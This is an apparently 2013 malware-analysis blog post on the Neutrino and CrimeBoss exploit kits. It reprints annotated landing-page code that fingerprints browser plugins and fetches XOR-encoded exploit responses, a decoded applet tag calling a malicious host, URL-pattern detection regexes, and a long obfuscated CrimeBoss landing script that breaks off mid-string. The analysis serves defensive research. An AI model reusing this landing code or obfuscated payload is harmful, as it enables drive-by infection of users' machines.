Yet another encounter with Neutrino EK

Neutrino has worked its way to be my favourite EK. No good reason for it but it is a nice kit to analyze. As I got pinged on a case from @node5 via @MalwareMustDie once again I got curious if there where changes. And since I have been quite busy lately I thought it would be a good opportunity to write up a small analysis so my blog would not die off entirely.

Any changes? The landing has changed since my last analysis, but our good folks over at MMD have taken care of that update in their "Knockin' on Neutrino Exploit Kit's door..."

So to the case at hand:
@node5 saw a change in the landing on the 26th of July (pastebin) cleaned up and explained by MalwareMustDie (pastebin)  Added here for completeness:

// #MalwareMustDie!
// My personal note..
// New form of Neutrino EK landing page?
// A quest! Where's the XOR data now? :-D
 
 
<script src='xsvhwjx.js'></script>
<script src='qmqsfiutp.js'>
</script><script src='hrcl.js'></script>
<link href='xbbcukphokdo.css' rel='stylesheet'>
<link href='nhpgbsrcogf.css' rel='stylesheet'>
<link href='bbehoufqwh.css' rel='stylesheet'>
 
<script src='gdhclsjileqh.js'></script>
<script src='nrezixfqsy.js'></script>
<script src='sgxvswm.js'></script>
<script src='ztblmkuxokfcyxgy.js'></script>
<script type="text/javascript" src="index.js"></script> // <=== @malwaremustdie: Plugindetect??
<script src='dwwccp.js'></script>
<script src='zkbvwzvq.js'></script>
 
 
<script>
 $(document).ready(function()
 {
   rq(
        "51f2394faaa2cc390a075f4c",
        "eyhuui",        // <== @malforsec & @malwaremustdie: OK this is the key :-)
        "uvkotuiae",    // <=== @malwaremustdie: POST command value
        "ngrdddfrrlrzro",
        "gfsjmndvvz"
     )
 }
 );
 function rq(a,c,f,e,g)
 {
   var d=PluginDetect.getVersion,b=[];  // // <== @malwaremustdie: PoC of PluginDetect v0.8.0
   b.push("hid:::"+a);
   b.push("adobe_reader:::"+d("AdobeReader"));
   b.push("java:::"+d("Java"));
   b.push("flash:::"+d("Flash"));
   b.push("quick_time:::"+d("QuickTime"));
   b.push("real_player:::"+d("RealPlayer"));
   b.push("shockwave:::"+d("Shockwave"));
   b.push("silver_light:::"+d("Silverlight"));
   b.push("vlc:::"+d("VLC"));
   b.push("wmp:::"+d("WMP"));
   b.push("office:::"+office_ver());
   a={};
   a[e]=c;                                        // <=== c = "51f2394faaa2cc390a075f4c"
   a[g]=encodeURIComponent(www(b.join(";;;"),c));  // <== @malwaremustdie: Assembling the POST query.
   $.post(f,a,function(a,
   b)
   {
     $("body").append(www(decodeURIComponent(a),c)) // <== @malwaremustdie: A DAT www is XOR function.
   }
   )
 }
 function www(a,c)        // <=== @malwaremustdie: XOR function name in camouflaged
 {                      
   for(var f="",e=0,g=0,e=0;e<a.length;e++) // <=== @malwaremustdie: XOR logic
       g=Math.floor(e%c.length),
       f+=String.fromCharCode(a.charCodeAt(e)^c.charCodeAt(g));
   return f
 }
 function office_ver()
 {
   var a=0,c=0;
   try
   {
     a=new ActiveXObject("SharePoint.OpenDocuments.4")
   }
   catch(f)
   {
   }
   try
   {
     c=new ActiveXObject("SharePoint.OpenDocuments.3")
   }
   catch(e)
   {
   }  // <=== @malwaremustdie: here goes the exploit payloads access...
   return"object"==typeof a&&"object"==typeof c?"2010":"number"==typeof a&&"object"==typeof c?"2007":null
 };
 
</script>
 
 
----
#MalwareMustDie!
@unixfreaxjp ~]$ date
Sat Jul 27 01:17:40 JST 2013

Small changes as we still can see the Host id, xor key and the end of the post url is still in there.  See my previous posts on the landing "Neutrino landing page demystified" and "Neutrino landing page change". Also we still see lots of rubbish GET requests.
As I got pcap on this lets go through it:

Landing:

POST request:

 Info from the PluginDetect is Posted to the server xored and URLencoded.
The answer gzip decoded:

 Y%18%18%05%19%0C%11Y%09%07%16%01%0C%0F%0DHR%01%11%0D%18OZF%0D%1A%0B%04%1F%1F%08%17%01%0C%1B%10%15%1A%0B%0C%5B%0D%0B%0A%09%19%1C%08%16W%0B%1A%18S%5DIXEZ%04%1F%1B%1A%05%18%0B%0B%03%0DJ%19%06%0B%13%02%19%0C%08%03%0F%0AH%16%0A%09%0D%0A%0D%11%0E%0D%5EH%16%1A%0DDO4%05%05BY%1F%1C%11%1D%0DDODENE%11%0D%1C%12%01%11DODEN%5Bsa%7C%7C%60lE%18%14%07%08%08Y%06%14%18%0CX%5E%0D%0D%10%0ABY%1E%14%19%1CDO%14%3D%3BU%1A%2C%1A%03%25W%11%02%2CF%2F%14%1D%05D%08%3D%15%1D%10-%2B%0F%20%5B%1E3%22L%12%2C%22%11%15%20080W%40%1C%3A%1F%0E%124%2C4%03%08%0B3%1D%16G%1D%13%1A%5B%1DC%0B%22%0EG%172%5C%0F%1B%5B%05%190%0B%15%18%11G%5CW%29%3F%3B%1F%0B-%2B%01%102%3B%0B%18%29HHN%5Bsa%7C%7C%60lE%18%14%07%08%08Y%06%14%18%0CX%5E%10%1E%10%10BY%1E%14%19%1CDO%07%06%1A%13%5EV%7F%7C%60lpTZ%14%19%15%15%0D%01Kclp

This is also xored and UrlEncoded. I have made a nice little Javascript to decode the answer:

@malforsec JS to decode Neutrino POST answers
function xor(input, pass) {
  var output = "";
  var i = 0;
  var pos = 0;
  for (i = 0; i < input.length; i++){
    pos = Math.floor(i%pass.length);
    output += String.fromCharCode(input.charCodeAt(i) ^ pass.charCodeAt(pos));
  }
  return output;
}

var stranswer = "Y%18%18%05%19%0C%11Y%09%07%16%01%0C%0F%0DHR%01%11%0D%18OZF%0D%1A%0B%04%1F%1F%08%17%01%0C%1B%10%15%1A%0B%0C%5B%0D%0B%0A%09%19%1C%08%16W%0B%1A%18S%5DIXEZ%04%1F%1B%1A%05%18%0B%0B%03%0DJ%19%06%0B%13%02%19%0C%08%03%0F%0AH%16%0A%09%0D%0A%0D%11%0E%0D%5EH%16%1A%0DDO4%05%05BY%1F%1C%11%1D%0DDODENE%11%0D%1C%12%01%11DODEN%5Bsa%7C%7C%60lE%18%14%07%08%08Y%06%14%18%0CX%5E%0D%0D%10%0ABY%1E%14%19%1CDO%14%3D%3BU%1A%2C%1A%03%25W%11%02%2CF%2F%14%1D%05D%08%3D%15%1D%10-%2B%0F%20%5B%1E3%22L%12%2C%22%11%15%20080W%40%1C%3A%1F%0E%124%2C4%03%08%0B3%1D%16G%1D%13%1A%5B%1DC%0B%22%0EG%172%5C%0F%1B%5B%05%190%0B%15%18%11G%5CW%29%3F%3B%1F%0B-%2B%01%102%3B%0B%18%29HHN%5Bsa%7C%7C%60lE%18%14%07%08%08Y%06%14%18%0CX%5E%10%1E%10%10BY%1E%14%19%1CDO%07%06%1A%13%5EV%7F%7C%60lpTZ%14%19%15%15%0D%01Kclp";
console.log(xor(decodeURIComponent(stranswer),"eyhuui"));

Just change the xorkey and the POST answer string and you are good to go.

This gives us readable output:

<applet archive='hxxp: //hccqjvmniynypccy.dnsalias.com:8000/mzbrpmbnze?lonjjlyafvb=ccltbxdgh' code='Apl' width='10' height='10'>
   <param name='exec' value='aHR0cDovL2hjY3Fqdm1uaXlueXBjY3kuZG5zYWxpYXMuY29tOjgwMDAvanJuc2tvc3h6bGw/bG5jb3plYnlpd252PWNjbHRieGRnaA=='>
   <param name='xkey' value='rssv'>
</applet>

The important info to take with us here is the "xkey" parameter value. We will need that to decode the binary later. So remember the value "rssv"

JAR request:

Binary request:

With little changes to Neutrino I just grabbed my python script to decode Neutrino binaries and had a look if that still worked(Just remember the xor key from the applet tags "rssv"). You can find it here

Worked like a charm :) Always nice when hard work done earlier pays off, ain't it...

For the record Virustotal results for the JAR and EXE:

JAR: 5/46  Link

EXE: 35/46 Link

Epilogue:

For those who need detailed detection of Neutrino on the network. The URL's have changed again(expect them to continue changing) as before only the first chars in GET variables and values have changed:

landing: /s[a-z0-9]{1,16}\?d[a-z0-9]{1,12}=[0-9]{7}$

JAR: /m[a-z0-9]{1,11}\?l[a-z0-9]{1,12}=([a-f0-9]{24}|[a-z]{0,9})$

EXE: /j[a-z0-9]{1,16}\?l[a-z0-9]{1,12}=([a-f0-9]{24}|[a-z]{7})$

Thanks to @node5 for providing pcap and to @MalwareMustDie for pinging me.

PS: The URL change is also confirmed with pcaps that I have received from @urlquery. Thanks for for sharing those!

UPDATE 20130807:
@Set_Abominae catched, yet another, change in the URL pattern: pastebin

Keep on having fun analysing and detecting Neutrino EK :)

Bossing the Boss around - CrimeBoss EK analysis

Analyzing CrimeBoss Exploit Kit

After looking into the Blackhole EK and RedKit  it's time to pick a fight with "The Boss". Not top of the food chain in the Exploit Kit world, but close, and with the name CrimeBoss one get curious.

As always Urlquery to the rescue with hints on where to start looking: link

1. Fetching redirector

--2013-03-19 --  hxxp: //anitatelecom.com.br/.01/?x=s
Resolving anitatelecom.com.br... 187.1.133.57
Connecting to anitatelecom.com.br|187.1.133.57|:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Server: Apache
  Set-Cookie: PHPSESSID=09d624312a8f68826b4a0b5a9298990a; path=/
  Expires: Thu, 19 Nov 1981 08:52:00 GMT
  Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
  Pragma: no-cache
  Vary: Accept-Encoding
  Content-Encoding: gzip
  Connection: close
  Content-Type: text/html
Length: unspecified [text/html]
Saving to: `pane.html.gz'

     0K                                                        4.39M=0s

2013-03-19  (4.39 MB/s) - `pane.html.gz' saved [172]

Simply JavaScript to get the landing pane:

if(navigator.javaEnabled()) {
document.write('<sc' + 'ri' + 'pt src="hxxp: //anitatelecom.com.br/.01/index.php?x=s&apm=1788362687&no=0" type="text/javascript"></scri' + 'pt>');

2. Fetch the landing pane

--2013-03-19 --  hxxp: //anitatelecom.com.br/.01/index.php?x=s&apm=1788362687&no=0
Resolving anitatelecom.com.br... 187.1.133.57
Connecting to anitatelecom.com.br|187.1.133.57|:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Server: Apache
  Set-Cookie: PHPSESSID=47f08b3c137fef72727c28687d5f7146; path=/
  Expires: Thu, 19 Nov 1981 08:52:00 GMT
  Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
  Pragma: no-cache
  Vary: Accept-Encoding
  Content-Encoding: gzip
  Connection: close
  Content-Type: text/html
Length: unspecified [text/html]
Saving to: `index.php.gz'

     0K ....                                                    718K=0.006s

2013-03-19  (718 KB/s) - `index.php.gz' saved [4254]

3. Deobfuscate landing pane with nodejs

I bet Wepawet would do an excellent job on this one, but with the Boss around I feel that we need to work a bit harder and see if we can get payed off better:
Lots of code; I like cleaning the code and understanding it before decoding; No requirement for Monty Python references while using JavaScript so I leave you with simply the code;

     function dcd(st)
     {
      r = '';
      for(i=O; i < st.length; i++)
      {
       e = st.charCodeAt(i)-1;
       r = r + String.fromCharCode(e);
      }
      return r;
     }
   function hDdwCvE() { var DQKacTGKXZ = '\x77\x62\x73\x21\x6b\x59\x4f\x4a\x5O\x76\x55\x21\x3e\x21\x28\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x5O\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x7O\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x2c\x3O\x3e\x28\x3c\x21\x77\x62\x73\x21\x4a\x53\x69\x6f\x7b\x67\x77\x71\x7b\x66\x7a\x21\x3e\x21\x28\x55\x38\x3a\x22\x25\x3a\x3a\x29\x35\x2c\x74\x2c\x7f\x35\x35\x2a\x55\x38\x7f\x41\x3e\x28\x3c\x21\x77\x62\x73\x21\x64\x21\x3e\x21\x31\x3c\x21\x21\x21\x67\x76\x6f\x64\x75\x6a\x7O\x6f\x21\x6b\x7O\x5O\x78\x7b\x54\x75\x6f\x4c\x71\x29\x74\x2a\x21\x7c\x21\x77\x62\x73\x21\x5a\x4d\x45\x7b\x6a\x6f\x43\x21\x3e\x21\x28\x28\x3c\x21\x77\x62\x73\x21\x6f\x64\x64\x43\x76\x74\x79\x54\x21\x3e\x21\x2e\x32\x3c\x21\x77\x62\x73\x21\x76\x48\x55\x67\x6a\x6c\x6b\x69\x54\x67\x21\x3e\x21\x31\x3c\x21\x77\x62\x73\x21\x48\x62\x45\x59\x73\x73\x53\x49\x4f\x21\x3e\x21\x76\x6f\x66\x74\x64\x62\x71\x66\x29\x74\x2a\x3c\x21\x21\x67\x7O\x73\x21\x29\x77\x62\x73\x21\x6a\x3e\x31\x3c\x6a\x3d\x48\x62\x45\x59\x73\x73\x53\x49\x4f\x2f\x6d\x66\x6f\x68\x75\x69\x3c\x6a\x2c\x2c\x2a\x21\x7c\x21\x6f\x64\x64\x43\x76\x74\x79\x54\x21\x3e\x21\x6b\x59\x4f\x4a\x5O\x76\x55\x2f\x6a\x6f\x65\x66\x79\x5O\x67\x29\x48\x62\x45\x59\x73\x73\x53\x49\x4f\x2f\x64\x69\x62\x73\x42\x75\x29\x6a\x2a\x2a\x3c\x21\x6a\x67\x21\x29\x6f\x64\x64\x43\x76\x74\x79\x54\x21\x3f\x3e\x21\x31\x2a\x21\x7c\x21\x76\x48\x55\x67\x6a\x6c\x6b\x69\x54\x67\x21\x3e\x21\x29\x6f\x64\x64\x43\x76\x74\x79\x54\x21\x2e\x21\x4a\x53\x69\x6f\x7b\x67\x77\x71\x7b\x66\x7a\x2f\x64\x69\x62\x73\x44\x7O\x65\x66\x42\x75\x29\x64\x2a\x2a\x21\x26\x21\x6b\x59\x4f\x4a\x5O\x76\x55\x2f\x6d\x66\x6f\x68\x75\x69\x3c\x21\x6a\x67\x21\x29\x76\x48\x55\x67\x6a\x6c\x6b\x69\x54\x67\x21\x3d\x21\x31\x2a\x21\x7c\x21\x76\x48\x55\x67\x6a\x6c\x6b\x69\x54\x67\x21\x2c\x3e\x21\x6b\x59\x4f\x4a\x5O\x76\x55\x2f\x6d\x66\x6f\x68\x75\x69\x3c\x21\x7e\x21\x21\x5a\x4d\x45\x7b\x6a\x6f\x43\x21\x2c\x3e\x21\x6b\x59\x4f\x4a\x5O\x76\x55\x2f\x64\x69\x62\x73\x42\x75\x29\x76\x48\x55\x67\x6a\x6c\x6b\x69\x54\x67\x2a\x3c\x21\x21\x64\x2c\x2c\x3c\x21\x6a\x67\x21\x29\x64\x21\x3f\x3e\x21\x4a\x53\x69\x6f\x7b\x67\x77\x71\x7b\x66\x7a\x2f\x6d\x66\x6f\x68\x75\x69\x2a\x21\x7c\x21\x64\x21\x3e\x21\x31\x3c\x21\x7e\x21\x7e\x21\x66\x6d\x74\x66\x21\x7c\x21\x5a\x4d\x45\x7b\x6a\x6f\x43\x21\x2c\x3e\x21\x48\x62\x45\x59\x73\x73\x53\x49\x4f\x2f\x64\x69\x62\x73\x42\x75\x29\x6a\x2a\x3c\x21\x7e\x21\x7e\x21\x21\x73\x66\x75\x76\x73\x6f\x21\x5a\x4d\x45\x7b\x6a\x6f\x43\x3c\x21\x7e\x21\x21\x21\x3O\x2b\x67\x35\x64\x6c\x2b\x3O\x21\x21\x66\x77\x62\x6d\x29\x6b\x7O\x5O\x78\x7b\x54\x75\x6f\x4c\x71\x29\x28\x43\x52\x6b\x26\x33\x31\x45\x6O\x4a\x68\x67\x26\x31\x3a\x26\x31\x3a\x26\x31\x3a\x6f\x26\x33\x31\x68\x57\x67\x4a\x26\x34\x43\x26\x31\x42\x73\x4f\x66\x26\x33\x31\x4d\x6O\x42\x69\x69\x26\x31\x3a\x26\x31\x3a\x26\x31\x3a\x26\x33\x47\x26\x33\x31\x26\x33\x38\x65\x26\x34\x45\x6b\x69\x26\x34\x42\x67\x6a\x54\x67\x4b\x68\x46\x66\x4a\x69\x53\x51\x52\x36\x2f\x54\x6c\x6d\x2f\x59\x26\x33\x43\x32\x2f\x74\x57\x6a\x62\x67\x46\x53\x63\x2f\x62\x4d\x6d\x26\x33\x38\x26\x34\x43\x26\x31\x42\x6a\x4f\x55\x26\x33\x31\x33\x6O\x63\x58\x63\x5a\x79\x6a\x6c\x26\x31\x3a\x26\x31\x3a\x68\x26\x33\x31\x48\x6O\x6e\x6b\x4e\x26\x33\x31\x79\x26\x33\x31\x26\x33\x38\x26\x34\x47\x46\x4f\x59\x66\x63\x62\x7O\x26\x33\x47\x6b\x58\x74\x7O\x6O\x75\x54\x56\x26\x33\x47\x51\x6c\x26\x33\x38\x26\x34\x43\x26\x31\x42\x6f\x43\x66\x26\x33\x31\x4f\x6O\x58\x4f\x58\x6a\x4f\x52\x37\x26\x31\x3a\x26\x31\x3a\x33\x26\x33\x31\x67\x6O\x75\x6f\x35\x26\x33\x31\x31\x26\x33\x31\x26\x33\x38\x26\x34\x47\x54\x3a\x52\x62\x68\x5O\x7b\x58\x66\x46\x71\x67\x6O\x58\x44\x43\x52\x6c\x6e\x26\x33\x38\x26\x34\x43\x26\x31\x42\x73\x75\x69\x26\x33\x31\x63\x6O\x47\x48\x54\x6f\x43\x63\x4b\x52\x26\x31\x3a\x26\x31\x3a\x72\x26\x33\x31\x67\x6O\x69\x66\x4f\x26\x33\x31\x52\x26\x33\x31\x26\x33\x38\x26\x34\x47\x52\x5a\x74\x66\x38\x65\x35\x4e\x52\x54\x6d\x55\x6O\x58\x46\x68\x46\x6c\x54\x54\x26\x33\x38\x26\x34\x43\x26\x31\x42\x59\x75\x69\x26\x33\x31\x67\x6O\x6c\x69\x38\x52\x57\x26\x33\x47\x42\x26\x31\x3a\x26\x31\x3a\x35\x26\x33\x31\x63\x6O\x57\x66\x51\x26\x33\x31\x77\x26\x33\x31\x26\x33\x38\x26\x34\x47\x46\x5a\x68\x57\x52\x37\x33\x7O\x74\x58\x26\x34\x45\x6a\x6O\x65\x4a\x26\x33\x43\x57\x58\x46\x26\x33\x38\x26\x34\x43\x26\x31\x42\x26\x31\x42\x6a\x46\x64\x26\x33\x31\x4f\x6O\x69\x63\x4f\x47\x79\x55\x26\x31\x3a\x26\x31\x3a\x39\x26\x33\x31\x66\x58\x35\x6a\x58\x26\x34\x43\x26\x31\x42\x51\x26\x33\x43\x6b\x26\x33\x31\x63\x6O\x43\x64\x55\x6O\x55\x53\x5b\x53\x6c\x26\x31\x3a\x26\x31\x3a\x7O\x26\x33\x31\x49\x26\x34\x43\x26\x31\x42\x6d\x58\x72\x26\x33\x31\x67\x6O\x75\x67\x69\x6O\x3a\x4c\x6d\x26\x31\x3a\x26\x31\x3a\x35\x26\x33\x31\x64\x6f\x26\x34\x43\x26\x31\x42\x5b\x4d\x57\x26\x33\x31\x67\x6O\x4f\x64\x53\x6O\x39\x69\x62\x26\x31\x3a\x26\x31\x3a\x26\x33\x47\x26\x33\x31\x26\x33\x38\x6a\x49\x26\x33\x38\x26\x34\x43\x26\x31\x42\x6d\x54\x4d\x26\x33\x31\x48\x6O\x54\x69\x52\x6O\x69\x57\x58\x26\x31\x3a\x26\x31\x3a\x72\x26\x33\x31\x26\x33\x38\x65\x68\x68\x53\x26\x34\x42\x53\x32\x59\x5b\x6a\x76\x66\x6e\x2f\x42\x5O\x34\x2f\x74\x64\x7a\x26\x33\x38\x26\x34\x43\x26\x31\x42\x26\x31\x42\x26\x31\x42\x4b\x67\x53\x5a\x68\x57\x52\x37\x26\x33\x31\x26\x34\x45\x6O\x64\x26\x34\x45\x6d\x39\x4c\x4b\x74\x26\x33\x39\x26\x33\x3a\x26\x31\x42\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x5O\x58\x6d\x57\x66\x53\x26\x33\x31\x56\x6O\x46\x6d\x64\x6O\x69\x55\x35\x26\x33\x31\x31\x26\x33\x31\x67\x6O\x5b\x6d\x39\x6O\x67\x6b\x26\x33\x47\x26\x33\x31\x69\x26\x33\x31\x63\x6O\x54\x52\x64\x6O\x4e\x5a\x49\x62\x6c\x26\x33\x31\x79\x26\x33\x31\x26\x33\x38\x2f\x4d\x75\x69\x26\x33\x38\x26\x34\x43\x26\x31\x42\x26\x38\x45\x26\x31\x42\x26\x31\x42\x63\x75\x6b\x77\x6b\x62\x4a\x4c\x26\x33\x31\x43\x6O\x56\x78\x54\x26\x33\x39\x58\x64\x48\x62\x26\x33\x3a\x26\x31\x42\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x6a\x4f\x55\x26\x33\x31\x32\x57\x6f\x26\x33\x31\x26\x31\x3a\x26\x31\x3a\x26\x31\x3a\x26\x31\x3a\x26\x33\x47\x26\x33\x31\x5b\x38\x54\x6e\x48\x43\x67\x6d\x2f\x45\x66\x4a\x4d\x59\x62\x35\x5a\x48\x36\x56\x6b\x74\x26\x33\x39\x26\x33\x38\x66\x7a\x69\x54\x48\x43\x26\x33\x38\x26\x33\x3a\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x62\x59\x54\x2f\x67\x57\x4f\x26\x33\x31\x26\x31\x3a\x26\x31\x3a\x26\x31\x3a\x26\x31\x3a\x72\x26\x33\x31\x7O\x66\x51\x48\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x32\x57\x6f\x2f\x73\x71\x46\x63\x58\x2f\x51\x47\x6c\x62\x44\x57\x51\x55\x59\x76\x26\x31\x3a\x7b\x26\x33\x31\x26\x33\x38\x56\x4c\x78\x55\x62\x6e\x26\x33\x38\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x66\x7a\x69\x2f\x6c\x4f\x57\x65\x58\x2f\x46\x57\x58\x62\x51\x58\x6d\x26\x31\x3a\x26\x31\x3a\x7b\x26\x33\x31\x26\x33\x38\x4c\x37\x63\x66\x6e\x62\x26\x33\x38\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x32\x57\x6b\x2f\x4e\x52\x72\x65\x47\x2f\x5b\x46\x64\x4c\x66\x62\x26\x31\x3a\x26\x31\x3a\x7b\x26\x33\x31\x26\x33\x38\x64\x26\x33\x38\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x32\x57\x6f\x2f\x73\x71\x46\x63\x58\x2f\x4b\x26\x33\x43\x57\x57\x4b\x62\x4c\x26\x31\x3a\x26\x31\x3a\x79\x26\x33\x31\x26\x33\x38\x66\x26\x33\x38\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x66\x54\x66\x2f\x56\x26\x34\x45\x7O\x69\x65\x2f\x59\x38\x69\x57\x26\x33\x47\x5O\x26\x31\x3a\x26\x31\x3a\x35\x26\x33\x31\x26\x33\x38\x67\x51\x62\x4a\x26\x33\x38\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x55\x4b\x6f\x2f\x67\x68\x62\x35\x56\x2f\x74\x69\x5b\x26\x34\x45\x59\x26\x31\x3a\x26\x31\x3a\x26\x31\x3a\x35\x26\x33\x31\x26\x33\x38\x56\x26\x33\x38\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x47\x59\x6b\x2f\x55\x68\x64\x58\x4a\x2f\x65\x53\x57\x4a\x31\x6b\x26\x31\x3a\x26\x31\x3a\x39\x26\x33\x31\x26\x33\x38\x7b\x26\x33\x38\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x6f\x79\x6b\x6e\x4d\x4c\x26\x33\x31\x62\x59\x54\x26\x34\x43\x26\x31\x42\x26\x38\x45\x26\x31\x42\x26\x31\x42\x54\x5a\x5a\x48\x71\x57\x63\x51\x26\x33\x31\x64\x6O\x63\x4f\x65\x6d\x4a\x26\x33\x39\x6c\x6b\x47\x26\x33\x3a\x26\x31\x42\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x54\x54\x6b\x26\x33\x31\x43\x32\x54\x5O\x64\x26\x33\x31\x39\x26\x33\x31\x52\x63\x46\x42\x64\x62\x6e\x71\x2f\x76\x66\x57\x54\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x47\x59\x26\x33\x31\x26\x33\x39\x54\x71\x63\x49\x6b\x26\x33\x3a\x26\x31\x42\x26\x31\x3a\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x46\x26\x33\x43\x63\x52\x62\x2f\x32\x65\x7O\x65\x6f\x26\x34\x45\x35\x58\x26\x34\x45\x4d\x6b\x58\x26\x33\x39\x79\x6O\x51\x7b\x52\x26\x33\x39\x5a\x6f\x5a\x26\x33\x3a\x26\x33\x44\x26\x33\x31\x4f\x72\x38\x55\x76\x2f\x66\x66\x26\x33\x43\x6a\x6d\x6b\x46\x62\x65\x46\x26\x33\x3a\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x26\x38\x45\x26\x31\x42\x26\x38\x45\x26\x31\x42\x26\x31\x42\x54\x5a\x5a\x48\x71\x57\x63\x51\x26\x33\x31\x64\x6O\x54\x5O\x7O\x58\x37\x26\x33\x39\x59\x6d\x48\x4a\x26\x33\x3a\x26\x31\x42\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x6f\x54\x54\x26\x33\x31\x67\x55\x4d\x53\x26\x33\x31\x39\x26\x33\x31\x52\x63\x46\x42\x64\x62\x6e\x71\x2f\x77\x69\x58\x38\x52\x58\x3a\x4e\x53\x52\x51\x53\x71\x26\x33\x39\x26\x33\x38\x67\x64\x44\x37\x26\x33\x38\x26\x33\x3a\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x6a\x6d\x5b\x6b\x2f\x32\x65\x67\x26\x33\x47\x5O\x26\x34\x45\x4d\x31\x26\x33\x47\x26\x33\x31\x72\x26\x33\x31\x54\x59\x6a\x5a\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x66\x48\x26\x34\x45\x6c\x6f\x6e\x26\x33\x31\x7O\x39\x52\x67\x26\x34\x43\x26\x31\x42\x26\x38\x45\x26\x31\x42\x26\x31\x42\x26\x34\x45\x53\x67\x56\x56\x57\x54\x5a\x26\x33\x31\x31\x6O\x64\x31\x64\x53\x62\x43\x26\x33\x39\x26\x33\x3a\x26\x31\x42\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x6f\x65\x71\x42\x69\x67\x26\x33\x31\x26\x33\x38\x26\x34\x44\x38\x4e\x69\x65\x47\x68\x26\x33\x31\x53\x4d\x52\x62\x7b\x26\x33\x33\x3a\x44\x43\x52\x26\x33\x39\x51\x4d\x26\x33\x3a\x26\x33\x31\x54\x79\x53\x26\x33\x31\x4c\x4f\x26\x33\x43\x6b\x6d\x26\x33\x31\x7O\x51\x59\x55\x5b\x62\x4c\x26\x33\x31\x33\x52\x37\x6b\x6f\x6f\x69\x26\x33\x33\x26\x33\x31\x77\x66\x57\x26\x33\x47\x6b\x26\x33\x33\x66\x75\x2f\x45\x5a\x46\x65\x58\x26\x33\x33\x26\x33\x31\x58\x66\x51\x4b\x32\x6d\x62\x26\x33\x47\x26\x33\x33\x26\x33\x38\x26\x33\x31\x37\x26\x33\x31\x64\x6O\x58\x36\x4b\x4e\x4e\x4b\x7b\x26\x33\x39\x26\x33\x3a\x26\x33\x31\x79\x26\x33\x31\x26\x33\x38\x26\x33\x33\x26\x33\x31\x62\x55\x49\x71\x56\x7b\x26\x33\x33\x64\x26\x33\x33\x26\x33\x31\x31\x56\x66\x67\x65\x26\x34\x45\x33\x26\x33\x33\x74\x26\x33\x33\x26\x33\x31\x26\x33\x31\x4e\x52\x72\x65\x47\x7b\x26\x33\x33\x5b\x55\x58\x66\x5O\x57\x4f\x32\x6b\x76\x26\x34\x42\x26\x33\x31\x68\x66\x78\x55\x58\x49\x26\x33\x33\x26\x33\x31\x4b\x54\x72\x55\x51\x57\x55\x55\x71\x7b\x26\x33\x33\x68\x55\x42\x56\x26\x33\x33\x26\x34\x46\x26\x31\x3a\x26\x34\x44\x6d\x5b\x6f\x75\x64\x26\x33\x31\x67\x38\x4b\x58\x35\x26\x33\x33\x4e\x57\x53\x57\x26\x33\x33\x26\x33\x31\x5b\x58\x5a\x69\x48\x54\x26\x33\x33\x59\x71\x74\x6d\x26\x34\x42\x53\x32\x7b\x58\x2f\x63\x75\x2f\x75\x6c\x71\x2f\x67\x6e\x6c\x38\x2f\x6f\x7O\x6f\x6f\x67\x2f\x5a\x7O\x69\x26\x34\x43\x77\x67\x65\x26\x34\x43\x56\x26\x33\x33\x26\x34\x46\x26\x33\x31\x26\x34\x44\x6a\x69\x54\x54\x4f\x52\x26\x34\x46\x26\x34\x44\x78\x46\x6d\x64\x5a\x48\x26\x34\x45\x26\x34\x46\x26\x33\x38\x26\x34\x43\x26\x31\x42\x26\x38\x45\x26\x31\x42\x26\x31\x42\x57\x72\x6e\x5a\x26\x34\x45\x5a\x68\x49\x26\x33\x31\x75\x6O\x5a\x36\x52\x64\x7a\x3a\x6O\x44\x26\x33\x39\x26\x33\x3a\x26\x31\x42\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x6f\x53\x68\x58\x26\x33\x43\x65\x26\x33\x31\x26\x33\x38\x26\x34\x44\x58\x7O\x6d\x35\x56\x6d\x26\x33\x31\x49\x26\x33\x43\x66\x58\x6f\x26\x33\x33\x3a\x46\x68\x46\x26\x33\x39\x51\x26\x34\x45\x26\x33\x3a\x26\x33\x31\x4b\x48\x76\x26\x33\x31\x4a\x71\x5b\x6f\x26\x34\x45\x26\x33\x31\x34\x56\x4f\x47\x6f\x58\x26\x33\x47\x26\x33\x31\x33\x54\x5a\x59\x6f\x63\x5a\x26\x33\x33\x26\x33\x31\x46\x38\x55\x62\x26\x33\x47\x26\x33\x33\x6a\x49\x2f\x54\x65\x38\x51\x6c\x26\x33\x33\x26\x33\x31\x54\x54\x51\x4d\x55\x5b\x62\x7b\x26\x33\x33\x26\x33\x38\x26\x33\x31\x79\x26\x33\x31\x4d\x6O\x75\x67\x6d\x6O\x75\x6f\x35\x26\x33\x31\x31\x26\x33\x31\x26\x33\x38\x63\x43\x26\x33\x43\x67\x2f\x63\x43\x66\x26\x34\x47\x57\x79\x26\x33\x38\x26\x33\x31\x7O\x26\x33\x31\x4a\x4f\x68\x4b\x2f\x7a\x63\x6c\x6f\x6f\x26\x33\x39\x49\x72\x74\x56\x59\x74\x26\x33\x3